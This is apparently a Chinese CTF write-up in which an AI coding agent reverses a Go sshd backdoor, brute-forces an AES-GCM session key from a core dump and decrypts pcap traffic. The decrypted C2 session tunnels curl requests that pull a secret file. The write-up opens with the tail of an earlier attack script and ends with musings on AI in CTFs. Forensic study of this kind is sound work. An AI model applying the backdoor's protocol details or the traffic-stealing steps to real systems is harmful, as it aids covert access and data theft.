log(f" [{i:5d}] d={delay:4d} p={pulse:2d} {tag:<6s} | n={cnt['nack']} a={cnt['anom']} nr={cnt['nr']} bp={cnt['bypass']} ok={cnt['full']} | {r:.1f}/s")
else:
e = time.time() - start
log(f"\n Exhausted {MAX_ATTEMPTS} in {e:.1f}s | {cnt}")
s.close()
LOG_FILE.close()
if __name__ == "__main__":
main()
攻击成功效果(这个数据是我后面重新写的,我也不知道当初的数据是啥样的了)


实在是拖了很久,不过终于是将他顺利完成了,也算是了却一个小小的心事吧)
SSHD
题目附件提供了一个流量包,一个名为sshd的elf程序,一个sshd的进程内存镜像
不难看出是一个结合流量分析+内存分析+逆向分析的题目
那么一上来肯定是进行简单的逆向分析,看看elf程序里都搞了什么
丢进ida查看字符串就会发现他上了一个upx,没有进行什么修改,所以直接用upx -d脱壳即可

脱壳后,重新将程序丢进ida,不难发现这大概率就是一个go编译的二进制程序

后面的步骤,就轮到cc出马了,我们先通过ida no mcp插件将elf程序的数据全部导出
然后将其与附件放在一个目录中,再通过claude code直接分析即可,提示词如下
目录里是一道ctf的misc困难题目,其中夹带了reverse也就是逆向分析,附件分别为一个pcapng流量包,dmp内存镜像文件,以及sshd-fixed这是一个我已经把upx脱掉的程序,好像是go编译的,我通过插件将里面的函数及大部分数据信息导出了,放在export-for-ai目录里,所以逆向的部分可以优先直接分析目录里的内容,请先用uv init初始化项目,然后用uv管理和运行python程序,uv pip install你需要的库,uv run对应的python脚本,环境中还配置了tshark,可以结合分析流量包。GoReSym.exe不是附件,是一个工具,用于go的符号表恢复,使用说明为README.md,请自行阅读分析,可以先看看需不需要恢复符号表再决定是否使用。将题目的信息实时存入记忆以免丢失进度,帮我分析出如何解出flag,格式为flag{}
这边放出cc最后给我的wp
附件:
| 文件 | 大小 | 说明 |
|---|---|---|
chall.pcapng | 376 KB | 网络流量抓包 |
sshd.dmp | 1.74 GB | ELF 64-bit core dump(sshd 进程内存镜像) |
sshd-fixed | 10.7 MB | 已脱壳的可疑 sshd 二进制(Go 编译,ELF 64-bit) |
1. 逆向分析:识别 Go 后门二进制
1.1 基本信息
file sshd-fixed
# ELF 64-bit LSB executable, x86-64, dynamically linked, stripped
通过 IDA Pro + Go 分析插件加载后,识别关键特征:
- Go 编译:导出符号含
crosscall2,_cgo_panic,_cgo_topofstack(CGo 桥接函数) - UPX 加壳:已预先脱壳
- 符号高度混淆:包名和函数名全部随机化
1.2 混淆包名还原
通过分析字符串表和函数调用关系,还原关键包的对应关系:
| 混淆名 | 真实用途 |
|---|---|
s1qEwJlVe | crypto/ecdh — X25519/ECDH 密钥交换 |
aWhkKW4af_XK | HPKE(混合公钥加密,RFC 9180) |
mIRWHSnur88 | AEAD 密码套件注册(ChaCha20-Poly1305 / AES-GCM) |
yiejMe2hf | 自定义 TLS 层(Handshake, Write 等) |
wUGBqQEE0G7 | TLS 密钥调度(HandshakeSecret, MasterSecret 等) |
WGF5aW3w | 协议消息类型定义 |
1.3 LGLO 协议核心函数
在地址 0x998300 处的大型函数(因复杂度过高无法反编译)是协议状态机核心。通过 raw bytecode 分析:
协议魔术字校验(0x9983A0):
mov edx, [rdx] ; 读取 4 字节
bswap edx ; 大端 → 小端
cmp edx, 0x4C474C4F ; 比较 "LGLO"
je <protocol_handler> ; 匹配则进入协议处理
写入 LGLO 响应头(0x998E20):
mov dword [rax], 0x4F4C474C ; 写入 "LGLO" magic
; ... 后续写入大端长度字段
bswap edx
mov [rax], edx ; BE32 length
1.4 加密层分析
二进制中包含两套 AEAD 实现:
| itab 地址 | NonceSize | Overhead | 实现 |
|---|---|---|---|
0xB4EBF8 | 12 | 16 | ChaCha20-Poly1305 |
0xB4EBC0 | 12 | 16 | AES-256-GCM |
密钥设置函数 0x7EC8E0 包含 44 字节混淆密钥缓冲区和 60 次迭代洗牌解混淆。
密钥交换使用 X25519 ECDH + HPKE ExtractAndExpand (HKDF-SHA256)。
1.5 协议格式
┌──────────┬──────────────┬──────────────────────┐
│ "LGLO" │ Length (BE32) │ Encrypted Payload │
│ 4 bytes │ 4 bytes │ variable length │
└──────────┴──────────────┴──────────────────────┘
Encrypted Payload = Nonce(12B) || Ciphertext || GCM Tag(16B)
加密通道建立后,内部使用 hashicorp/yamux 多路复用。
2. 流量分析
2.1 基本信息
tshark -r chall.pcapng -q -z conv,tcp
172.10.10.128:2222 <-> 172.10.10.1:5817
2589 packets, 292 KB, duration ~135s
- 服务端:172.10.10.128:2222(运行恶意 sshd)
- 客户端:172.10.10.1:5817(C2 控制端)
- 单一 TCP 连接
2.2 提取原始载荷
tshark -r chall.pcapng -Y "tcp.payload" \
-T fields -e frame.number -e ip.src -e tcp.srcport -e tcp.len -e tcp.payload \
> all_packets.txt
2.3 协议消息统计
所有 payload 熵值为 8.00 bits(全加密),零重复。消息尺寸分布:
| 尺寸 | 数量 | 含义 |
|---|---|---|
| 40B | ~1887 | yamux 控制帧(12B 明文 + 12B nonce + 16B tag) |
| 29B | 466 | 短应答帧(1B 明文) |
| 49B | 233 | 客户端命令帧(21B 明文) |
| 85B | 233 | 服务器响应帧(57B 明文 beacon) |
| 其他 | ~26 | HTTP 请求/响应等大数据帧 |
3. 密钥提取:从内存转储中暴力搜索
3.1 分析思路
核心洞察:sshd.dmp 是 core dump(ELF 格式),包含进程运行时的完整内存。会话密钥一定存在于某个内存区域中。
3.2 关键发现 — prepended nonce 模式
经过多轮尝试(ChaCha20-Poly1305 零 nonce、计数器 nonce、HPKE 派生 nonce 等全部失败后),突破性发现是:
40 字节 payload = 12 字节 nonce(前置) + 12 字节明文 + 16 字节 GCM tag
也就是说 nonce 不是外部派生的,而是直接嵌入在每条消息的前 12 字节。这是 AES-256-GCM 而非 ChaCha20-Poly1305!
3.3 暴力搜索密钥
在 1.74 GB 内存中每 8 字节对齐搜索 32 字节候选密钥,尝试 AES-256-GCM 解密第一条消息(prepended nonce 模式):
#!/usr/bin/env python3
"""
search_keys14.py — 在 sshd.dmp 中暴力搜索 AES-256-GCM 密钥
关键突破: payload 前 12 字节为 GCM nonce,后续为密文+tag
"""
import struct, os
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
DUMP_FILE = "sshd.dmp"
def main():
# 第一条客户端消息(40 字节)
first_client = bytes.fromhex(
"1689cdadd644dbb9c12c9d5ade02de02"
"042ecefd4eb00891e848055cdcb2f406"
"17adf0184a762393"
)
# 拆分: 前 12 字节 = nonce, 后 28 字节 = ciphertext + 16B tag
nonce = first_client[:12]
ct_and_tag = first_client[12:]
file_size = os.path.getsize(DUMP_FILE)
CHUNK = 32 * 1024 * 1024 # 32MB 分块读取
with open(DUMP_FILE, 'rb') as f:
offset = 0
tested = 0
while offset < file_size:
f.seek(offset)
data = f.read(min(CHUNK + 32, file_size - offset))
if len(data) < 32:
break
for i in range(0, len(data) - 32, 8):
key = data[i:i+32]
# 跳过低熵块
if len(set(key)) < 12:
continue
tested += 1
# 尝试 AES-256-GCM 解密
try:
cipher = AESGCM(key)
pt = cipher.decrypt(nonce, ct_and_tag, None)
addr = offset + i
print(f"\n*** AES-GCM KEY FOUND at offset 0x{addr:x}! ***")
print(f"Key: {key.hex()}")
print(f"Plaintext: {pt.hex()}")
return
except:
pass
if tested % 200000 == 0:
pct = (offset + i) * 100.0 / file_size
print(f" {pct:.1f}% ({tested} tested)", flush=True)
offset += CHUNK
if __name__ == "__main__":
os.chdir(os.path.dirname(os.path.abspath(__file__)))
main()
3.4 密钥发现
搜索成功找到密钥:
*** AES-GCM KEY FOUND! ***
Key: 75067ed959f4a964eefe7566edd077ffbaee16e0aa85b984845e03e0d8fea119
4. 解密流量
4.1 LGLO 帧解析器(关键坑点)
重要:LGLO 帧会跨 TCP 包分片! 必须先将每个方向的 TCP payload 拼接成连续字节流,再解析 LGLO 帧。逐包解析会丢失跨包的大消息。
最终采用的解析方式 — 流拼接法:
# 按方向拼接连续字节流
client_stream = b''
server_stream = b''
for pkt_num, direction, src_ip, src_port, length, raw in packets:
if direction == "C->S":
client_stream += raw
else:
server_stream += raw
def parse_lglo_stream(stream):
"""从连续字节流中解析 LGLO 帧"""
messages = []
pos = 0
while pos < len(stream):
if stream[pos:pos+4] == b'LGLO':
pos += 4
if pos + 4 > len(stream):
break
msg_len = struct.unpack('>I', stream[pos:pos+4])[0]
pos += 4
if pos + msg_len > len(stream):
messages.append(stream[pos:])
break
messages.append(stream[pos:pos+msg_len])
pos += msg_len
else:
pos += 1 # 跳过非 LGLO 数据
return messages
4.2 最终解密脚本(完整 EXP)
#!/usr/bin/env python3
"""
final_solve.py — 完整 EXP: 从 pcapng 提取 → 解析 LGLO → 解密 AES-256-GCM → 找到 flag
用法: 先用 tshark 导出 all_packets.txt,然后运行本脚本
tshark -r chall.pcapng -Y "tcp.payload" \
-T fields -e frame.number -e ip.src -e tcp.srcport -e tcp.len -e tcp.payload \
> all_packets.txt
uv run python final_solve.py
"""
import struct
import os
import base64
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
PACKETS_FILE = "all_packets.txt"
KEY_HEX = "75067ed959f4a964eefe7566edd077ffbaee16e0aa85b984845e03e0d8fea119"
def parse_lglo_stream(stream):
"""从连续字节流中解析 LGLO 帧"""
messages = []
pos = 0
while pos < len(stream):
if stream[pos:pos+4] == b'LGLO':
pos += 4
if pos + 4 > len(stream):
break
msg_len = struct.unpack('>I', stream[pos:pos+4])[0]
pos += 4
if pos + msg_len > len(stream):
messages.append(stream[pos:])
break
messages.append(stream[pos:pos+msg_len])
pos += msg_len
else:
pos += 1
return messages
def main():
key = bytes.fromhex(KEY_HEX)
cipher = AESGCM(key)
# ---- Step 1: 读取 tshark 导出的原始包 ----
with open(PACKETS_FILE, 'r') as f:
lines = f.readlines()
# 按方向拼接 TCP 字节流
client_stream = b''
server_stream = b''
for line in lines:
line = line.strip()
if not line:
continue
parts = line.split('\t')
if len(parts) < 5:
continue
src_port = int(parts[2])
raw = bytes.fromhex(parts[4])
if src_port == 5817: # Client -> Server
client_stream += raw
else: # Server -> Client
server_stream += raw
# ---- Step 2: 解析 LGLO 帧 ----
client_msgs = parse_lglo_stream(client_stream)
server_msgs = parse_lglo_stream(server_stream)
print(f"[*] Client->Server LGLO messages: {len(client_msgs)}")
print(f"[*] Server->Client LGLO messages: {len(server_msgs)}")
# ---- Step 3: AES-256-GCM 解密 ----
all_decrypted = []
for label, msgs in [("C->S", client_msgs), ("S->C", server_msgs)]:
for payload in msgs:
if len(payload) < 28: # 至少 12B nonce + 16B tag
continue
nonce = payload[:12]
ct_tag = payload[12:]
try:
pt = cipher.decrypt(nonce, ct_tag, None)
all_decrypted.append((label, pt))
except Exception:
pass
print(f"[*] Total decrypted messages: {len(all_decrypted)}")
# ---- Step 4: 提取有意义的数据 ----
print("\n" + "=" * 70)
print("Decrypted Data Messages (excluding yamux control frames):")
print("=" * 70)
flag_found = False
for direction, pt in all_decrypted:
if len(pt) <= 12:
continue # 跳过 yamux 控制帧
text = pt.decode('utf-8', errors='replace')
ascii_safe = ''.join(c if 32 <= ord(c) < 127 else '.' for c in text)
# 打印非重复的有意义消息
if 'HTTP' in text or 'GET' in text or 'flag' in text.lower() \
or len(pt) > 60:
print(f"\n[{direction}] ({len(pt)} bytes):")
print(f" {text[:500]}")
# 搜索 base64 编码的 flag
if 'ZmxhZ' in text:
print(f"\n{'='*70}")
print(f"[!] Found Base64-encoded flag!")
b64_str = text.strip()
decoded = base64.b64decode(b64_str).decode()
print(f"[!] Base64: {b64_str}")
print(f"[!] Decoded: {decoded}")
print(f"{'='*70}")
flag_found = True
if not flag_found:
# 备用: 搜索所有明文
full = b''.join(pt for _, pt in all_decrypted)
if b'ZmxhZ' in full:
idx = full.find(b'ZmxhZ')
# 往后找到 base64 边界
end = idx
while end < len(full) and full[end:end+1] in \
b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=':
end += 1
b64 = full[idx:end].decode()
print(f"\n[!] Flag (base64): {b64}")
print(f"[!] Flag (decoded): {base64.b64decode(b64).decode()}")
if __name__ == "__main__":
os.chdir(os.path.dirname(os.path.abspath(__file__)))
main()
5. 解密结果:还原攻击场景
解密后的流量完整还原了攻击者通过后门进行的操作:
5.1 通信架构
┌──────────────┐ LGLO/AES-GCM ┌──────────────┐
│ C2 控制端 │◄══════════════════►│ 受害机(sshd) │
│ 172.10.10.1 │ yamux 多路复用 │172.10.10.128 │
│ │ │ :2222 │
└──────┬───────┘ └──────┬───────┘
│ │
│ 通过 yamux 隧道转发: │
│ 1. SMB 探测 (445) │
│ 2. HTTP 浏览器指纹 (7680) │
│ 3. curl 文件窃取 (8000) │
└─────────────────────────────────────┘
5.2 解密出的关键 HTTP 通信
C2 → 受害机(通过 curl/8.15.0):
GET / HTTP/1.1
Host: 192.168.219.134:8000
User-Agent: curl/8.15.0
受害机响应(Python SimpleHTTPServer):
<h1>Directory listing for /</h1>
<li><a href="secret/">secret/</a></li>
<li><a href="tmp/">tmp/</a></li>
GET /secret/ HTTP/1.1
→ 发现 secret.txt
GET /secret/secret.txt HTTP/1.1
→ 响应内容(68 字节):
ZmxhZ3t5MHVfNFIzXzRfTTQ1NzNyXzBGX1IzdjNSMjMhIzFmZjg4YzY5OTA1YTBhZDR9
5.3 Base64 解码
>>> import base64
>>> base64.b64decode("ZmxhZ3t5MHVfNFIzXzRfTTQ1NzNyXzBGX1IzdjNSMjMhIzFmZjg4YzY5OTA1YTBhZDR9").decode()
'flag{y0u_4R3_4_M4573r_0F_R3v3R23!#1ff88c69905a0ad4}'
完整攻击链:
逆向分析 sshd-fixed(Go 后门)
→ 识别 LGLO 自定义协议格式
→ 分析加密方式为 AES-256-GCM
→ 从 sshd.dmp 内存转储暴力搜索 AES-256-GCM 密钥
→ 用 tshark 提取流量并解析 LGLO 帧
→ 解密还原 yamux 多路复用隧道中的 HTTP 通信
→ Base64 解码 secret.txt 获得 flag
最终本题目在零人工介入的情况下,由claude opus4.6在两个多小时的努力下顺利解出
小小的感慨与总结
其实当初final赛后,就挺想来复现了,还特地拉了个小群说是来解一下,但是最后也是因为各种原因(比如我比较懒)一直搁置了,直到今年,ai浪潮汹涌袭来,ctf圈已经来到了一个新的时代。我也是在某天晚上,突然想起来说,既然现在ai那么强,那么他可不可以直接解出以前解不出的题呢,遂重新捡起了final的赛题,并进行了必要的复现。
“古法已死,新王当立”,如今的赛场上已经遍地是agent的踪迹,一场比赛结束,收上来的wp也很难看出一丝人味。现在的ai真的太强了,选手们用来分析附件的时间,ai已经能把题目做出来了,实话说这真的很打击选手的积极性(我的小登们都道心破碎了)。但我们都知道这大趋势已经不可逆转,ai只会越来越强,古法安全的时代真的已经在慢慢翻篇了,ctf总有一天也会走到尽头,或许会有新的形式替代它也说不定。
也许与自己和解,尝试拥抱新法,转变思路,才是现在最好的出路罢。
好怀念以前无所不能的自己啊)